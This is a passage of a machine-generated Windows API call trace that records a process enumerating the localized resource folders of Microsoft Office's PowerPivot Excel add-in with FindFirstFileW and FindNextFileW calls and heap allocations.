nFileSizeHigh=0x0, nFileSizeLow=0x11a60, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 0 [0226.880] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0226.880] GetProcessHeap () returned 0xc10000 [0226.880] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0226.880] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6b87f8e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6b87f8e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6b87f8e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1049", cAlternateFileName="")) returned 1 [0226.880] GetProcessHeap () returned 0xc10000 [0226.880] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0226.880] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1049\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6b87f8e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6b87f8e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6b87f8e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ba8 [0226.881] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6b87f8e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6b87f8e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6b87f8e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0226.881] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6b87f8e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6b87f8e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11a60, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 1 [0226.882] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6b87f8e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6b87f8e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11a60, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 0 [0226.882] FindClose (in: hFindFile=0x33e4ba8 | out: hFindFile=0x33e4ba8) returned 1 [0226.910] GetProcessHeap () returned 0xc10000 [0226.910] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0226.910] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfcc62b13, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfcc62b13, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfcc62b13, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1050", cAlternateFileName="")) returned 1 [0226.910] GetProcessHeap () returned 0xc10000 [0226.910] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0226.910] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1050\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfcc62b13, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfcc62b13, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfcc62b13, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0226.944] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfcc62b13, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfcc62b13, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfcc62b13, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0226.944] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfcc62b13, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfcc62b13, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x112c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 1 [0226.944] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfcc62b13, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfcc62b13, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x112c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 0 [0226.944] FindClose (in: hFindFile=0x33e49e8 | out: hFindFile=0x33e49e8) returned 1 [0226.944] GetProcessHeap () returned 0xc10000 [0226.944] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0226.944] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x303975a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x303975a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x303975a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1051", cAlternateFileName="")) returned 1 [0226.944] GetProcessHeap () returned 0xc10000 [0226.944] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0226.944] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1051\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x303975a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x303975a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x303975a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0226.945] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x303975a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x303975a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x303975a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0226.945] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x303975a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x303975a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x114c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 1 [0226.945] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x303975a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x303975a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x114c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 0 [0226.945] FindClose (in: hFindFile=0x33e49e8 | out: hFindFile=0x33e49e8) returned 1 [0226.945] GetProcessHeap () returned 0xc10000 [0226.945] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0226.945] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6bd3439, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6bd3439, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6bd3439, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1053", cAlternateFileName="")) returned 1 [0226.946] GetProcessHeap () returned 0xc10000 [0226.946] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0226.946] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1053\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6bd3439, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6bd3439, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6bd3439, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4de8 [0226.965] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6bd3439, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6bd3439, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6bd3439, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0226.965] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6bd3439, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6bd3439, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x112c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 1 [0226.965] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6bd3439, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6bd3439, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x112c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 0 [0226.965] FindClose (in: hFindFile=0x33e4de8 | out: hFindFile=0x33e4de8) returned 1 [0226.966] GetProcessHeap () returned 0xc10000 [0226.966] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0226.966] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf443017d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf443017d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf443017d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1054", cAlternateFileName="")) returned 1 [0226.966] GetProcessHeap () returned 0xc10000 [0226.966] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0226.966] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1054\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf443017d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf443017d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf443017d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ca8 [0226.970] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf443017d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf443017d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf443017d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0226.970] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf443017d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf443017d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11660, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 1 [0226.970] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf443017d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf443017d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11660, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 0 [0226.970] FindClose (in: hFindFile=0x33e4ca8 | out: hFindFile=0x33e4ca8) returned 1 [0226.970] GetProcessHeap () returned 0xc10000 [0226.970] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0226.970] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0089415, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0089415, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf0089415, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1055", cAlternateFileName="")) returned 1 [0226.971] GetProcessHeap () returned 0xc10000 [0226.971] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0226.971] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1055\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0089415, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0089415, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf0089415, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0226.971] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0089415, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0089415, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf0089415, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0226.971] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0089415, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0089415, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11860, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 1 [0226.972] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0089415, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0089415, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11860, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 0 [0226.972] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0226.972] GetProcessHeap () returned 0xc10000 [0226.972] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0226.972] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa8eba59, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa8eba59, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1057", cAlternateFileName="")) returned 1 [0226.972] GetProcessHeap () returned 0xc10000 [0226.972] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0226.972] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1057\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa8eba59, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa8eba59, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4e28 [0226.991] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa8eba59, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa8eba59, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0226.992] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa8eba59, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11860, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 1 [0226.992] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa8eba59, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11860, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 0 [0226.992] FindClose (in: hFindFile=0x33e4e28 | out: hFindFile=0x33e4e28) returned 1 [0226.992] GetProcessHeap () returned 0xc10000 [0226.992] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0226.992] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1a046b0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1a046b0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1a046b0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1058", cAlternateFileName="")) returned 1 [0226.992] GetProcessHeap () returned 0xc10000 [0226.992] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0226.992] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1058\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1a046b0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1a046b0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1a046b0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ba8 [0227.024] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1a046b0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1a046b0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1a046b0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0227.025] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1a046b0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1a046b0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11a60, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 1 [0227.025] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5e520 | out: 